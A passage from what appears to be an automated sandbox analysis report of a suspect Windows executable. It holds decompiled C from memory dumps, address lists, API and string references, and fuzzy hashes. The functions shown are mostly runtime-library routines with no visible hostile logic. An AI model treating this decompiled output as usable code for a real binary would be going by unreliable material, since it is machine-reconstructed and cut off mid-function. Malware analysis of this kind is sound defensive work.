										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x471);
										goto L13;
									case 9:
										goto L64;
									case 0xa:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x71);
										goto L13;
									case 0xb:
										E00864C77(0xc8) =  &_v516;
										__eax = E008639A9( &_v516, 0x100,  &_v516,  *((intOrPtr*)(__esi + 4)));
										_push( *((intOrPtr*)(__esi + 8)));
										__eax =  &_v516;
										_push( &_v516);
										return E008707B6( *__esi, L"%s: %s");
								}
							}
						}
					} else {
						if(_t62 == 0) {
							_push( *__ecx);
							_push(0xdd);
							L23:
							E00864C77();
							L7:
							_push(0);
							L8:
							return E008707B6();
						}
						if(_t33 <= 0x15) {
							switch( *((intOrPtr*)(_t33 * 4 +  &M00867634))) {
								case 0:
									_push( *__esi);
									_push(L"%ls");
									_push(">");
									goto L8;
								case 1:
									_push( *__ecx);
									_push(L"%ls");
									goto L7;
								case 2:
									_push(0);
									__eax = E0087002B();
									goto L11;
								case 3:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7b);
									goto L13;
								case 4:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7a);
									goto L13;
								case 5:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x7c);
									goto L13;
								case 6:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xca);
									goto L13;
								case 7:
									_push(0x70);
									L18:
									_push(E00864C77());
									_push(0);
									goto L19;
								case 8:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x72);
									goto L13;
								case 9:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x78);
									goto L13;
								case 0xa:
									_push( *__esi);
									_push(0x85);
									goto L23;
								case 0xb:
									_push( *__esi);
									_push(0x204);
									goto L23;
								case 0xc:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x84);
									goto L13;
								case 0xd:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x83);
									goto L13;
								case 0xe:
									goto L64;
								case 0xf:
									_push( *((intOrPtr*)(__esi + 8)));
									_push( *((intOrPtr*)(__esi + 4)));
									__eax = E00864C77(0xd2);
									return __eax;
								case 0x10:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0x79);
									goto L13;
								case 0x11:
									_push( *((intOrPtr*)(__esi + 4)));
									_push(0xdc);
									L13:
									_push(E00864C77());
									_push( *_t57);
									goto L8;
							}
						}
					}
				}
				L64:
				return _t33;
			}

0x00867384
0x0086738a
0x0086738c
0x0086738f
0x00867392
0x008675bd
0x008675c2
0x008675c4
0x008675c9
0x008675cd
0x0086760a
0x008675cf
0x008675e9
0x008675ee
0x00000000
0x00867629
0x00867398
0x00867398
0x008675b3
0x008674dc
0x008674e1
0x008674e2
0x0086741f
0x0086741f
0x008673e8
0x00000000
0x008673e8
0x0086739e
0x008673a1
0x008674a1
0x008674a4
0x00867564
0x00867564
0x00867567
0x008675a9
0x00000000
0x008675a9
0x00867569
0x00867569
0x0086756c
0x008675a2
0x00000000
0x008675a2
0x0086756e
0x0086756e
0x00867571
0x00867595
0x00867598
0x00000000
0x00867598
0x00867573
0x00867573
0x00867576
0x0086758b
0x00000000
0x0086758b
0x00867578
0x00867578
0x0086757b
0x00867581
0x00000000
0x00867581
0x008674aa
0x008674aa
0x0086755d
0x00000000
0x0086755d
0x008674b0
0x008674b3
0x008674b6
0x008674bc
0x00000000
0x008674c3
0x00000000
0x00000000
0x008674cd
0x00000000
0x00000000
0x008674d7
0x00000000
0x00000000
0x008674e9
0x00000000
0x00000000
0x008674ed
0x00000000
0x00000000
0x008674f1
0x008674f4
0x00000000
0x00000000
0x008674fb
0x00000000
0x00000000
0x00867502
0x00000000
0x00000000
0x00867509
0x0086750c
0x00000000
0x00000000
0x00000000
0x00000000
0x00867516
0x00867519
0x00000000
0x00000000
0x0086752e
0x0086753a
0x0086753f
0x00867542
0x00867548
0x00000000
0x00000000
0x008674bc
0x008674b6
0x008673a7
0x008673a7
0x00867498
0x0086749a
0x0086743c
0x0086743c
0x008673c4
0x008673c4
0x008673c6
0x00000000
0x008673cb
0x008673b0
0x008673b6
0x00000000
0x008673d3
0x008673d5
0x008673da
0x00000000
0x00000000
0x008673bd
0x008673bf
0x00000000
0x00000000
0x008673e1
0x008673e3
0x00000000
0x00000000
0x008673ee
0x008673f1
0x00000000
0x00000000
0x008673fd
0x00867400
0x00000000
0x00000000
0x00867404
0x00867407
0x00000000
0x00000000
0x0086740b
0x0086740e
0x00000000
0x00000000
0x00867415
0x00867417
0x0086741c
0x0086741d
0x00000000
0x00000000
0x00867427
0x0086742a
0x00000000
0x00000000
0x0086742e
0x00867431
0x00000000
0x00000000
0x00867435
0x00867437
0x00000000
0x00000000
0x00867444
0x00867446
0x00000000
0x00000000
0x0086744d
0x00867450
0x00000000
0x00000000
0x00867457
0x0086745a
0x00000000
0x00000000
0x00000000
0x00000000
0x00867461
0x00867464
0x0086746c
0x00000000
0x00000000
0x00867481
0x00867484
0x00000000
0x00000000
0x0086748b
0x0086748e
0x008673f3
0x008673f8
0x008673f9
0x00000000
0x00000000
0x008673b6
0x008673b0
0x008673a1
0x00867630
0x00867630

APIs

_swprintf.LIBCMT ref: 0086753A
_swprintf.LIBCMT ref: 008675E9

Strings

%s: %s, xrefs: 00867549
%ls, xrefs: 008673BF, 008673D5

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 50dc1880a1d8774a7f41a60b9268bfd3cbb8e59d57d7ceac05283ca52e1a0228
Instruction ID: 97d5bef09dc44f1aa69d45adfcae25894c4d92d0d276467f951299f42c511170
Opcode Fuzzy Hash: 50dc1880a1d8774a7f41a60b9268bfd3cbb8e59d57d7ceac05283ca52e1a0228
Instruction Fuzzy Hash: 41514A3114C308FBE62126A8CE0BF363A55FB04B0CF628516B7D6F46D1CEA6A5107B97

Uniqueness

Uniqueness Score: -1.00%

Function 0087C8B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0087C8B3(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E008804B0(_t52);
					GetModuleFileNameA(0, 0x8c8768, 0x104);
					_t49 =  *0x8c8d18; // 0x2db35c8
					 *0x8c8d20 = 0x8c8768;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x8c8768;
					}
					_v8 = 0;
					_v16 = 0;
					E0087C9D7(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E0087CB4C(_v8, _v16, 1);
					if(_t64 != 0) {
						E0087C9D7(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E0087FFC3(_t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0x8c8d0c = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x8c8d10 = _t59;
									L16:
									E0087D758(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x8c8d0c = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0x8c8d10 = _t43;
						goto L10;
					} else {
						_t44 = E0087DA7D();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E0087D758(_t64);
						return _t50;
					}
				} else {
					_t45 = E0087DA7D();
					_t65 = 0x16;
					 *_t45 = _t65;
					E0087D95C();
					return _t65;
				}
			}

0x0087c8b3
0x0087c8c0
0x0087c8e0
0x0087c8f3
0x0087c8f9
0x0087c8ff
0x0087c907
0x0087c90e
0x0087c90e
0x0087c913
0x0087c91a
0x0087c921
0x0087c933
0x0087c93a
0x0087c959
0x0087c965
0x0087c980
0x0087c983
0x0087c98a
0x0087c990
0x0087c997
0x0087c99a
0x0087c99c
0x0087c9a0
0x0087c9aa
0x0087c9aa
0x0087c9ac
0x0087c9b2
0x0087c9b5
0x0087c9b7
0x0087c9bd
0x0087c9be
0x0087c9c4
0x00000000
0x00000000
0x00000000
0x00000000
0x0087c9a2
0x0087c9a2
0x0087c9a2
0x0087c9a5
0x0087c9a6
0x00000000
0x0087c9a2
0x0087c992
0x00000000
0x0087c992
0x0087c96b
0x0087c970
0x0087c972
0x0087c974
0x00000000
0x0087c93c
0x0087c93c
0x0087c941
0x0087c943
0x0087c944
0x0087c979
0x0087c979
0x0087c9c7
0x0087c9c8
0x00000000
0x0087c9d1
0x0087c8c8
0x0087c8c8
0x0087c8cf
0x0087c8d0
0x0087c8d2
0x00000000
0x0087c8d7

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe,00000104), ref: 0087C8F3
_free.LIBCMT ref: 0087C9BE
_free.LIBCMT ref: 0087C9C8

Strings

C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe, xrefs: 0087C8EA, 0087C8F1, 0087C920, 0087C958

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe
API String ID: 2506810119-1337986422
Opcode ID: 3f29441286335dcbefb59bd0cd01e1db73462e155c539e747f3dfc8eccb0d9f4
Instruction ID: 6fe83448b2cd55290d69fdb5047eca2ce5d59e2aa8d2e453a57fc0a874b9877c
Opcode Fuzzy Hash: 3f29441286335dcbefb59bd0cd01e1db73462e155c539e747f3dfc8eccb0d9f4
Instruction Fuzzy Hash: 1B317071A44218EBDB21DB999C81EAEBFF8FF85710B14806AE609D7215DB70CE40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00877B56 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 61%

			E00877B56(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed int _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				_t132 =  *_t96 - 0x80000003;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E0087746C(_t96, __ecx, __edx, _t113, _t121, _t132);
					_t133 =  *((intOrPtr*)(_t75 + 8));
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E0087746C(_t96, __ecx, __edx, 0, _t121, _t133) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E00874DF7(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E00874D2A(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00877731(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E0087D6B0(_t96, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					__eflags = _t78;
					if(_t78 == 0) {
						L41:
						_t80 = 1;
						__eflags = 1;
					} else {
						_t101 = _t78 + 8;
						__eflags =  *_t101;
						if( *_t101 == 0) {
							goto L41;
						} else {
							__eflags =  *_t111 & 0x00000080;
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0) {
								L23:
								_t97 = _t116[4];
								_t123 = 0;
								__eflags = _t78 - _t97;
								if(_t78 == _t97) {
									L33:
									__eflags =  *_t116 & 0x00000002;
									if(( *_t116 & 0x00000002) == 0) {
										L35:
										_t81 = _a8;
										__eflags =  *_t81 & 0x00000001;
										if(( *_t81 & 0x00000001) == 0) {
											L37:
											__eflags =  *_t81 & 0x00000002;
											if(( *_t81 & 0x00000002) == 0) {
												L39:
												_t123 = 1;
												__eflags = 1;
											} else {
												__eflags =  *_t111 & 0x00000002;
												if(( *_t111 & 0x00000002) != 0) {
													goto L39;
												}
											}
										} else {
											__eflags =  *_t111 & 0x00000001;
											if(( *_t111 & 0x00000001) != 0) {
												goto L37;
											}
										}
									} else {
										__eflags =  *_t111 & 0x00000008;
										if(( *_t111 & 0x00000008) != 0) {
											goto L35;
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										__eflags = _t98 -  *_t82;
										if(_t98 !=  *_t82) {
											break;
										}
										__eflags = _t98;
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											__eflags = _t99 -  *((intOrPtr*)(_t82 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												__eflags = _t99;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										__eflags = _t83;
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									__eflags = _t83;
									goto L31;
								}
							} else {
								__eflags =  *_t116 & 0x00000010;
								if(( *_t116 & 0x00000010) != 0) {
									goto L41;
								} else {
									goto L23;
								}
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x00877b56
0x00877b56
0x00877b5d
0x00877b60
0x00877b66
0x00877c85
0x00877b6c
0x00877b6c
0x00877b6d
0x00877b6e
0x00877b75
0x00877b78
0x00877b7b
0x00877b81
0x00877b8b
0x00877bb0
0x00877bb5
0x00877bba
0x00877c81
0x00000000
0x00877c82
0x00877bba
0x00877b8b
0x00877bc0
0x00877bc3
0x00877bc6
0x00877bcc
0x00877bd2
0x00877be4
0x00877be9
0x00877bec
0x00877bef
0x00877bf2
0x00877bf5
0x00877bfb
0x00877c01
0x00877c04
0x00877c07
0x00877c16
0x00877c17
0x00877c17
0x00877c1c
0x00877c2f
0x00877c31
0x00877c36
0x00877c41
0x00877c43
0x00877c45
0x00877c61
0x00877c66
0x00877c69
0x00877c69
0x00877c41
0x00877c36
0x00877c6f
0x00877c70
0x00877c73
0x00877c76
0x00877c79
0x00877c7c
0x00877c07
0x00000000
0x00877bfb
0x00877c86
0x00877c8b
0x00877c8f
0x00877c92
0x00877c93
0x00877c94
0x00877c95
0x00877c98
0x00877c9a
0x00877d12
0x00877d14
0x00877d14
0x00877c9c
0x00877c9c
0x00877c9f
0x00877ca2
0x00000000
0x00877ca4
0x00877ca4
0x00877ca7
0x00877caa
0x00877cb1
0x00877cb1
0x00877cb4
0x00877cb6
0x00877cb8
0x00877cea
0x00877cea
0x00877ced
0x00877cf4
0x00877cf4
0x00877cf7
0x00877cfa
0x00877d01
0x00877d01
0x00877d04
0x00877d0b
0x00877d0d
0x00877d0d
0x00877d06
0x00877d06
0x00877d09
0x00000000
0x00000000
0x00877d09
0x00877cfc
0x00877cfc
0x00877cff
0x00000000
0x00000000
0x00877cff
0x00877cef
0x00877cef
0x00877cf2
0x00000000
0x00000000
0x00877cf2
0x00877d0e
0x00877cba
0x00877cba
0x00877cba
0x00877cbd
0x00877cbd
0x00877cbf
0x00877cc1
0x00000000
0x00000000
0x00877cc3
0x00877cc5
0x00877cd9
0x00877cd9
0x00877cc7
0x00877cc7
0x00877cca
0x00877ccd
0x00000000
0x00877ccf
0x00877ccf
0x00877cd2
0x00877cd5
0x00877cd7
0x00000000
0x00000000
0x00000000
0x00000000
0x00877cd7
0x00877ccd
0x00877ce2
0x00877ce2
0x00877ce4
0x00000000
0x00877ce6
0x00877ce6
0x00877ce6
0x00000000
0x00877ce4
0x00877cdd
0x00877cdf
0x00877cdf
0x00000000
0x00877cdf
0x00877cac
0x00877cac
0x00877caf
0x00000000
0x00000000
0x00000000
0x00000000
0x00877caf
0x00877caa
0x00877ca2
0x00877d15
0x00877d19
0x00877d19

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00877B7B
_abort.LIBCMT ref: 00877C86

Strings

MOC, xrefs: 00877B8D
RCC, xrefs: 00877B95

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 4cfbda4923db1d4fd2401c72357a1b66b150f3bd9277ecb369068e22e87eacc4
Instruction ID: 402499365c43c33993d654b384dcfe3935332c37af6b52e0ab59ebae0528ff05
Opcode Fuzzy Hash: 4cfbda4923db1d4fd2401c72357a1b66b150f3bd9277ecb369068e22e87eacc4
Instruction Fuzzy Hash: 0A415871904209AFDF26DF98CD81AEEBBB5FF48304F148059F908A7269D335E950DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0086FCE9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0086FCF2
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,?,?,0086FA49,?,?,?), ref: 0086FD21
ReleaseDC.USER32(00000000,?), ref: 0086FDB9

Strings

v, xrefs: 0086FDB9

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ObjectRelease
String ID: v
API String ID: 1429681911-1801730948
Opcode ID: bf809fce5a4821f2d6d358110515f18c8f19e0bc86b9d31a52adb33abd827c06
Instruction ID: 3fcb668337b3ed2db922bee62afaefdadb0fed7f3056e613a8534967c6b776fc
Opcode Fuzzy Hash: bf809fce5a4821f2d6d358110515f18c8f19e0bc86b9d31a52adb33abd827c06
Instruction Fuzzy Hash: AD21E6B2109B04AFD701AFA1DC4CD6BBFF9FB8D391F000869FA8592221D63199558B62

Uniqueness

Uniqueness Score: -1.00%

Function 00863F4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00863F4C(void* __ebx, void* __ecx, void* __edx) {
				void* __esi;
				void* _t22;
				intOrPtr _t26;
				signed int* _t30;
				void* _t33;
				void* _t41;
				void* _t43;
				void* _t45;
				void* _t47;
				void* _t49;
				void* _t50;

				_t43 = __edx;
				_t42 = __ecx;
				_t41 = __ebx;
				_t47 = _t49 - 0x64;
				_t50 = _t49 - 0xac;
				_t45 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x2c)) <= 0) {
					L12:
					_t22 = 0;
				} else {
					 *((intOrPtr*)(_t47 + 0x5c)) =  *((intOrPtr*)(_t47 + 0x6c));
					 *((char*)(_t47 + 8)) = 0;
					 *((intOrPtr*)(_t47 + 0x60)) = _t47 + 8;
					if( *((intOrPtr*)(_t47 + 0x74)) != 0) {
						E00867B46( *((intOrPtr*)(_t47 + 0x74)), _t47 - 0x48, 0x50);
					}
					_t26 =  *((intOrPtr*)(_t47 + 0x70));
					if(_t26 == 0) {
						E00866872(_t47 + 8, "s", 0x50);
					} else {
						_t33 = _t26 - 1;
						if(_t33 == 0) {
							_push(_t47 - 0x48);
							_push("$%s");
							goto L8;
						} else {
							if(_t33 == 1) {
								_push(_t47 - 0x48);
								_push("@%s");
								L8:
								_push(0x50);
								_push(_t47 + 8);
								E00864C11();
								_t50 = _t50 + 0x10;
							}
						}
					}
					_t30 = E0087AA41(_t41, _t42, _t43, _t45, _t47 + 0x58,  *((intOrPtr*)(_t45 + 0x14)),  *((intOrPtr*)(_t45 + 0x18)), 4, E00863D70);
					if(_t30 == 0) {
						goto L12;
					} else {
						_t20 = 0x893158 +  *_t30 * 0xc; // 0x889458
						E0087B0B0( *((intOrPtr*)(_t47 + 0x78)),  *_t20,  *((intOrPtr*)(_t47 + 0x7c)));
						_t22 = 1;
					}
				}
				return _t22;
			}

0x00863f4c
0x00863f4c
0x00863f4c
0x00863f4d
0x00863f51
0x00863f58
0x00863f5e
0x00864006
0x00864006
0x00863f64
0x00863f6b
0x00863f71
0x00863f75
0x00863f78
0x00863f83
0x00863f83
0x00863f8b
0x00863f8e
0x00863fc9
0x00863f90
0x00863f90
0x00863f93
0x00863fa8
0x00863fa9
0x00000000
0x00863f95
0x00863f98
0x00863f9d
0x00863f9e
0x00863fae
0x00863fb1
0x00863fb3
0x00863fb4
0x00863fb9
0x00863fb9
0x00863f98
0x00863f93
0x00863fdf
0x00863fe9
0x00000000
0x00863feb
0x00863ff1
0x00863ffa
0x00864002
0x00864002
0x00863fe9
0x0086400d

APIs

__fprintf_l.LIBCMT ref: 00863FB4
_strncpy.LIBCMT ref: 00863FFA

Part of subcall function 00867B46: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,0086498A,?,00000000,00000000,?,?,?,0086498A,?,?,00000050), ref: 00867B63

Strings

$%s, xrefs: 00863FA9
@%s, xrefs: 00863F9E

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: a56e9b87e3fd21fdcd7ba319a3772328eae2ae1eba572bdefebc4064d9797f1e
Instruction ID: 36f4002569adcea6888ea6e2e2fa7e983d42c619fbb8d246e642be08b3f1258f
Opcode Fuzzy Hash: a56e9b87e3fd21fdcd7ba319a3772328eae2ae1eba572bdefebc4064d9797f1e
Instruction Fuzzy Hash: E721937194030CABDF20EEA8CC06FDE7BB8FB14704F554022FA15D61A2EB35D6488B52

Uniqueness

Uniqueness Score: -1.00%

Function 008702B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E008702B0(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* __ebx;
				void* _t15;
				signed short _t24;
				struct HWND__* _t28;
				intOrPtr _t29;
				void* _t30;

				_t24 = _a12;
				_t29 = _a8;
				_t28 = _a4;
